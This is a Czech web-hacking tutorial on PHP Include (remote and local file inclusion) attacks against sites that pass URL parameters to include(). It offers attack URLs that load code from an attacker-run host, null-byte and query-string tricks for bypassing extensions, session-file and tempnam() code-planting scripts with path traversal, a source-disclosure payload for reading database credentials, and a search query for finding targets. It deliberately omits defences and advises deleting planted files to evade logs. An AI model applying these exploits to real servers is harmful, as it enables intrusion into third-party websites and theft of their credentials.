PHP Include, známá rovněž pod názvy PHP Injection (Injekce), patří mezi tři nejběžnější chyby,
kterých se programátoři webových aplikací dopouštějí (XSS, SQL Injection a právě PHP Include). Jedná
se o klasickou code injection, která, přestože její zneužití má nedozírné následky, je stále poměrně
hojně rozšířená.
Cílem tohoto článku je souhrn co možná nejvíce poznatků o zmíněné technice. Záměrně zde neuvádím
žádné metody, jak postupovat při zabezpečení webových aplikací před popisovanými útoky. Pokud
probíranou problematiku dostatečně pochopíte, sami si vytvoříte nejoptimálnější řešení právě pro svůj
server.
Jak již sám název techniky napovídá, jedná se o zneužití PHP funkce include() nebo její obdoby -
include_once(), require() nebo require_once() (rozdíl mezi jednotlivými funkcemi je minimální a pro
hackera irelevantní). Funkci include() se jako parametr předává cesta (absolutní/relativní) nebo URL
k souboru, který se následně vloží na místo volání funkce a v případě, že obsahuje PHP příkazy, tyto
instrukce vykoná.
tipp: Neobsahuje-li parametr funkce include() žádnou proměnnou, uzavírejte jej do apostrofů
namísto uvozovek.
Varianta # 1:
Řeší-li nějaký server vkládání těla stránek následujícím způsobem
http://www.server.tld/index.php?page=home.php
pak obsahuje soubor
index.php mj. kód podobný následujícímu
include $_GET['page'];
který zapříčiní načtení a vykonání souboru
home.php. Útočník si tedy zaregistruje libovolnou
doménu 3. řádu u některého z freehostingových portálů a nahraje na něj script se svým PHP kódem. Pro
zobrazení nepřeloženého zdrojového kódu (např. při zjišťování přístupových kódů do databáze) se používá funkce highlight_file(), případně její
alias show_source()
<?php
show_source('index.php');
?>
Útočník však musí docílit toho, aby tento kód neprošel při načítání přes PHP parser jeho serveru
(nevykonal se již na freehostingu), který by kód vykonal lokálně a následně PHP příkazy ze souboru
odstranil. Dosáhnout toho může hned několika způsoby, například tím, že zákeřnému scriptu dá příponu
.txt, nebo vůbec žádnou (druhý způsob si ukážeme později) a posléze načte ve svém prohlížeči
následující URL
index.php?page=http://hacker.freehosting.tld/script.txt
čímž se jeho kód vloží do souboru
index.php na napadeném serveru a vykoná se.
Co nemusí vyjít:
# Pokud se místo vykonání našeho PHP scriptu zobrazí v prohlížeči pouze jeho obsah, nejedná se o
funkci include(), ale o běžný rám (frame), tím pádem není server oběti napadnutelný tímto způsobem
útoku. Skutečnost, že se jedná o načítání stránky do rámu (zobrazí se pouze kód zákeřného scriptu) a ne o vykonání stránky v rámu (spuštění zákeřného kódu), je nutné vždy ověřit! Fakt, že se stránka skládá z rámu není rozhodující, i v takovém případě je někdy možné incluzi provést.
# Na serveru oběti je vypnutá funkce allow_url_fopen(), která dovoluje includovat soubory i z jiných
serverů (od PHP 5.2.0 se tato direktiva nazývá allow_url_include). Dříve byla na většině serverů povolena, v poslední době je však trendem tuto funkci z
bezpečnostních důvodů spíše vypínat. Pokud ji administrátor opravdu vypnul, nemáte jako útočník šanci ji jednoduchým způsobem opět aktivovat (na napadeném serveru je nutný zásah buď přímo do souboru
php.ini, nebo použít konfigurační soubor
.htaccess).
Varianta # 2:
Soubor
index.php obsahuje kód podobný následujícímu
include $_GET['page'].'.php';
Od předchozí varianty se tento způsob liší tím, že nakonec includovaného souboru navíc automaticky
doplní příponu
.php (nebo jakoukoliv jinou), tím pádem by se
index.php po zadání
předchozí URL pokusil načíst následující soubor
http://hacker.freehosting.tld/script.txt.php
který by samozřejmě nenašel a ukončil zpracování s chybovým hlášením. Útočník ale nemůže dát svému
scriptu příponu
.php, důvod jsme si již řekli výše. Vyřešit tento problém může přesto velice
jednoduše a to opět několika způsoby.
Zákeřnému scriptu opravdu přidá příponu
.php a na vzdálený server jej bude nahrávat přes
protokol FTP, tedy
index.php?page=ftp://login:heslo@hacker.freehosting.tld/script
Tvar pro přihlašování je vždy
protokol://uživatel:heslo@server.tld respektive
protokol://uzivatel@server.tld
pro autentizaci bez hesla. Tento způsob má své výhody i nevýhody. Nespornou předností je fakt, že
mnoho serverů se brání před útokem tím způsobem, že kontrolují proměnnou
$_GET['page']
na výskyt řetězce
http://, případně
https:// a vložení nepovolí, na protokol
ftp:// (nebo wrappery, jako php:// atp.) se však často zapomíná.
Na druhé straně musí útočník zadat do URL přihlašovací údaje ke svému účtu na freehostingu, které si
pak administrátor napadeného serveru může přečíst v logu, proto po skončení útoku vždy všechny
nahrané scripty nezapomeňte smazat.
Jinou možností je opět ponechat útočníkovu scriptu příponu
.php, přičemž PHP kód bude i jeho výstupem, tedy například
<?php
echo "echo 'Hacked!';";
?>
Dalším způsobem je upravit dotaz v URL do takové míry, aby připojení řetězce
.php nemělo na
název vkládaného souboru žádný vliv. Toho lze docílit následujícím způsobem
index.php?page=http://hacker.freehosting.tld/script.txt%00
Řetězec
%00 je tzv. nulovým bitem - vše, co je
za ním je ignorováno (v našem případě tedy přípona
.php). Jinou možností je použít následující konstrukci
index.php?page=http://hacker.freehosting.tld/script.txt?foo=
která zapříčiní, že
index.php doplní k proměnné
$_GET['page']
příponu
.php, ta se však přiřadí parametru
foo, tedy
foo=.php a includuje se samotný soubor
script.txt. Aby však tento způsob fungoval, musí dojít k HTTP(S) komunikaci, při které se parametry předávají právě tímto způsobem, nelze jej proto použít pro vkládání lokálních souborů. Parametry jsou totiž ve funkci include() ignorovány (myšleno při vkládání lokálních souborů, to nemá s HTTP(S) komunikací nic společného), respektive jsou brány jako součást názvu souboru, tedy brání v incluzi.
Varianta # 3:
Soubor
index.php obsahuje kód podobný následujícímu
include "./$_GET['page']";
index.php sice nevkládá k includovanému souboru žádnou příponu, zato díky řetězci
./
omezuje vkládání pouze na soubory z lokálního serveru, nelze tedy includovat scripty
ze vzdálených freehostingů. Stejný vliv má např. vypnutí již zmíněné funkce allow_url_fopen() nebo
použití funkce file_exists(), která kontroluje existenci výhradně lokálních souborů, viz následující
příklad
if (file_exists($_GET['page']))
include $_GET['page'];
else
die('Požadovaná stránka neexistuje');
Na freehosting tedy může útočník zapomenout a musí si zřídit hosting u stejného poskytovatele, jako
má napadený server. Pokud využívá oběť služeb freehostingu, zaregistruje si jej samozřejmě útočník
rovněž. Pozor však na to, že doména nikdy nevypovídá o zvoleném typu webhostingu. Majitel může být
vlastníkem domény druhého řádu a přesto využívat freehosting.
Budeme-li brát v úvahu fakt, že oběť
nepoužívá vlastní server (pak by nebylo možné této chyby zneužít), musí se útočník svým hostingem
pokud možno co nejvíce podobat variantě hostingu oběti. Důvod je jednoduchý. Webhostingové
společnosti ve většině případů vlastní hned několik serverů a pokud bude napadený portál využívat
placenou variantu a my si zřídíme u stejného poskytovatele freehosting, riskujeme, že nás správce
umístí v nejlepším případě pouze na jiný disk, s mnohem větší pravděpodobností však i na jiný server
s horšími podmínkami. Tím pádem by bylo vést další útok nemožné. Projděte si tedy fórum daného
webhostingu a samotný web oběti a zkuste hledat indicie, které by vám poradily, jakou variantu
webhostingu oběť pravděpodobně využívá (využívá CGI scripty, SSL nebo jiné služby, kterou jsou
součástí placené varianty, nebo se jí v indexu zobrazuje reklamní banner webhostingu, který je naopak
typický pro free variantu... atp.).
Následně si sami sjednejte webhosting, který se domníváte, že
využívá i portál oběti (pokud se jedná o placenou variantu, je poměrně běžnou praxí dočasně sjednat
se správcem stejnou variantu zdarma "na zkoušku"). Ve většině případů pak ještě budete potřebovat
vlastní doménu druhého řádu, kterou dneska seženete již od 200,- Kč za rok a při webhackingu se bez
ní neobejdete. Svému registrátorovi (správci domény) pak pošlete požadavek na změnu DNS záznamů.
Nyní je tedy útočník na stejném serveru, jako web oběti. Jelikož však běží na webhostingových
serverech PHP v režimu safe_mode, nedostane se útočník do jiných adresářů, než je dovoleno direktivou
open_basedir. Asi největším přítelem každého webhackera je funkce phpinfo(), která mu prozradí
konfiguraci serverů včetně použitých bezpečnostních opatření. Útočník se tak dozví, jestli běží PHP
opravdu v safe_modu, zda je vypnutá funkce allow_url_fopen(), jaké příkazy je zakázáno na serveru
používat a množství dalších, pro hackera velice cenných, informací.
Pokud jste majiteli nějaké
dynamické webové prezentace, určitě jste se již setkali s tzv. session proměnnými (sezeními). Jedná
se o krátkou informaci, která se uloží do souboru na serveru, aby si ji pak mohl klient (návštěvník)
později vyžádat. Využití však není pro hackera důležité, zajímavější pro něj je fakt, že kam se tyto
dočasné soubory uloží a co budou obsahovat, může jednoduše ovlivnit. Script by mohl vypadat
následovně
<?php
session_save_path('/3w/wz.cz/v/victim');
session_id('include');
session_start();
$code = "<?php echo 'Hacked!'; //";
$_SESSION[$code] = 1;
?>
V prvním řádku předá útočník funkci session_save_path() absolutní cestu, kam chce soubor uložit. Může
si vybrat opravdu libovolný adresář, tedy i ostatních uživatelů.
Název souboru lze ovlivnit jen z části. Je dovoleno používat pouze malá/velká písmena a číslice,
nelze proto zadat souboru příponu. Název je pak automaticky doplněn prefixem
sess_, v našem
případě se tedy soubor bude jmenovat
sess_include.
Třetí příkaz se postará o vytvoření souboru a čtvrtý o jeho obsah. Ten musí vždy končit komentářem //
a ukončovací PHP řetězec
?>
se nezapisuje.
Poslední řádek zapíše obsah proměnné
$code
do souboru
sess_include.
Poté, co vytvořil útočník soubor s vlastním kódem ve stejném adresáři, kde je uložen index oběti,
načte ve svém prohlížeči následující URL
http://www.server.tld/index.php?page=sess_include
a jeho kód se vykoná.
Pozor: PHP maže automaticky session soubory pouze ve výchozím adresáři určeném direktivou
session_save_path, nezapomeňte proto jako poslední příkaz vašeho exploitu zadat následující řádek
(parametr si samozřejmě upravte)
unlink('/3w/wz.cz/v/victim/sess_include');
Co nemusí vyjít:
Ne na všech serverech se Vám podaří zapsat do jakéhokoliv adresáře a vy jste pak nuceni zapisovat do
toho výchozího. To však není pro útočníka žádný problém, uloží svůj script do jednoho ze společných
adresářů všech uživatelů (ukazuje na něj direktiva open_basedir), např.
/tmp a proměnné
page k němu následně předá v URL cestu včetně názvu scriptu
index.php?page=../../../../../tmp/sess_include
(kolikrát použít řetězec
../ při tzv. kanonizaci si buď spočítejte, nebo jej napište alespoň 5x).
Varianta # 4:
Soubor
index.php obsahuje kód podobný následujícímu
include './'.$_GET['page'].'.php';
Jedná se asi o nejběžnější způsob dynamického vkládání souboru do stránky. Od předchozí varianty se
liší tím, že navíc ke vkládanému souboru automaticky dodá příponu .php, čímž útočníkovi
znemožní použít předchozí techniku (v názvu nelze napsat "
.
", a tudíž ani
příponu).
Podívejme se proto zpátky na výstup funkce phpinfo(). Pokud jste si ji pozorně
prostudovali, narazili jste i na direktivu open_basedir, která ukazuje na všechny adresáře, kam má
uživatel přístup. Najdete zde mj. vždy aktuální adresář (místo pro naši prezentaci) a nějaké dočasné
úložiště, např.
/tmp. Sem se ukládají všechny dočasné soubory, jejichž vytvoření jsme my,
nebo někdo ze
"spolubydlících" zapříčinili. Obrovskou výhodou pro zlé hackery a nevýhodou pro
nás (bezmocné oběti =) je skutečnost, že do tohoto adresáře mají právo zápisu a čtení opravdu všichni
uživatelé na daném serveru.
Pro vytvoření dočasných souborů ve zmíněném adresáři existuji v PHP dvě speciální funkce, avšak pouze
u jedné je možné určit název vytvářeného souboru (a to jen částečně). Je jí funkce tempnam(), která
se chová nepatrně odlišně v GNU/Linux oproti MS Windows (pokud bude hacker ukládat svůj script do
výchozího adresáře, tak ho tento rozdíl nemusí zajímat). Syntaxe je následující
$name = tempnam('','include.php');
Jako první parametr se uvádí cesta k dočasnému adresáři, ponechejte jej prázdný pro výchozí hodnotu
(mimo adresáře v open_basedir a upload_tmp_dir by se Vám totiž zápis neměl vydařit) a jako druhý,
název samotného souboru, respektive jeho prefix. PHP totiž přidá nakonec názvu ještě řetězec složený
z libovolných 6 znaků (a-z, A-z, 0-9). Jak se tedy soubor jmenuje včetně absolutní cesty, se dozvíme
vypsáním proměnné
$name
.
Nyní je načase, zapsat do vytvořeného souboru nějaký kód, to se provádí stejně, jako při práci s
jakýmkoliv jiným souborem
<?php
$name = tempnam('', 'include.php?foo=');
echo $name;
$handle = fopen($name, 'w');
fwrite($handle, "<?php echo 'Hacked!';");
fclose($handle);
?>
Všimněte si opět absence ukončovací části
?>
v těle exploitu. Námi vytvořený soubor
je stejně jako u předchozího příkladu nutné ručně smazat, pamatujte na to při psaní exploitu.
Poté, co jsme náš exploit zapsali do souboru načtením výše uvedeného kódu, spustíme také jej. Kde se
nachází a pod jakým názvem, jsme se již dozvěděli vypsáním proměnné
$name
,
například
/tmp/include.phpDQSIq9
Manuálové stránky opravdu nelhaly, uživatel má možnost zvolit pouze prefix souboru, který je
automaticky z bezpečnostních důvodů doplněn systémem o dalších 6 pseudonáhodných znaků. Tento fakt
však definitivně vyvrací možnost použít metodu PHP Include, neboť náš script musí bezpodmínečně
končit příponou
.php. Na nulový bit nebo parametry může útočník zapomenout, tohle funguje při HTTP(S) komunikaci, ne v souborovém systému, co tedy s tím? Nic
převratného. Poté, co hacker zamáčkne slzu nad tímto sofistikovaným bezpečnostním prvkem, si totiž
soubor okamžitě přejmenuje zpět na
include.php, tedy
<?php
$name = tempnam('', 'include.php?foo=');
echo $name;
$handle = fopen($name, 'w');
fwrite($handle, "<?php echo 'Hacked!';");
fclose($handle);
$parts = pathinfo($name);
rename($name, $parts['dirname'].'/include.php');
?>
Pak mu již nic nebrání spustit svůj exploit načtením následující URL
http://www.server.tld/index.php?page=../../../../../../tmp/include
Co nemusí vyjít:
Některé malé servery postavené na základě malého počtu scriptů si mohou dovolit využívat include() ve
funkci switch(), případně je proměnná
$_GET['page']
testována na výskyt řetězců jako
jsou
../ nebo
sess_. V takových (výjimečných) případech Vám samozřejmě ani jedna z
výše popisovaných technik fungovat nebude.
Google.com
Ačkoliv je pravidlem vyhledávat chyby podle serveru a ne servery podle chyby, uvádím zde i dotaz pro
hledání potenciálních webů náchylných na útok PHP Include ve vyhledávači
Google.com. Nemusí se vždy
jednat o proměnnou
page, ale mj. i o
main,
include,
id,
stranka,... atp.
inurl:index.php?page=
Tento článek vznikl na základě dvou večerů strávených studiem vybraných PHP funkcí z kompletního PHP
přehledu. PHP obsahuje bezmála 4.000 funkcí, takže další večery by bezpochyby vydaly na tutoriál.
Možná jste již dříve postřehli fakt, že s každou druhou funkcí, která nějakým způsobem pracuje se
soubory, je možné mapovat jakékoliv adresáře na serveru (testovat na existenci adresáře nebo
souboru), případně znáte jiné netradiční využití PHP při webhackingu a rádi se podělíte s ostatními v
komentářích, neboť webhacking patří mezi nejzábavnějších a asi nejpopulárnějších oblastí hackingu
vůbec, jejímž jedním z hlavních pilířů je právě využívání obyčejných funkcí neobyčejným způsobem
...
Emkei